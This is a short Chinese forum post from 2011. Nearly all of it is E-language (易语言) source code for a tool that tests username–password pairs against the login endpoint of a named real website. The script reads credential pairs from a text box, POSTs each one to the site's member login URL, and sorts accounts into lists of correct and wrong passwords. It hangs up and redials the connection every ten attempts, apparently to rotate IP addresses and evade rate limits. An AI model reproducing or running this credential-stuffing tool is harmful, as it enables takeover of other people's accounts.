|
发表于 2011-8-6 21:49:11
|
显示全部楼层
广东省东莞市
本帖最后由 exit11 于 2011-8-6 22:22 编辑
[e]
.版本 2
.支持库 spec
.支持库 internet
.子程序 _开始_被单击
.局部变量 循环次数, 整数型
.局部变量 数组成员
.局部变量 POST地址1, 文本型
.局部变量 POST数据1, 文本型
.局部变量 返回数据1, 文本型
.局部变量 数组2, 文本型, , "0"
.局部变量 数组, 文本型, , "0"
数组 = 分割文本 (编辑框1.内容, #换行符, )
循环次数 = 1
数组成员 = 1
.判断循环首 (循环次数 < 10)
数组2 = 分割文本 (数组 [循环次数], “-”, )
POST地址1 = “http://www.3600gz.cn/member.php? ... it=yes&inajax=1”
POST数据1 = “username=” + 数组2 [1] + “&password=” + 数组2 [2] + “&&quickforward=yes” + “yes&handlekey=ls”
返回数据1 = 到文本 (网页_访问 (POST地址1, 1, , , POST数据1, 1))
调试输出 (返回数据1)
.如果 (寻找文本 (返回数据1, “window”, , 假) > 0)
编辑框2.加入文本 (数组2 [1] + “----” + “正确密码” + #换行符)
.否则
编辑框3.加入文本 (数组2 [1] + “----” + “密码错误” + #换行符)
.如果结束
循环次数 = 循环次数 + 1
.如果真 (数组成员 > 取数组成员数 (数组))
数组成员 = 1
.如果真结束
.如果真 (循环次数 = 10)
循环次数 = 1
挂断 ()
拨号 (, , , , )
.如果真结束
处理事件 ()
.判断循环尾 ()
信息框 (“完成”, 0, )
[/e]
|
评分
-
查看全部评分
|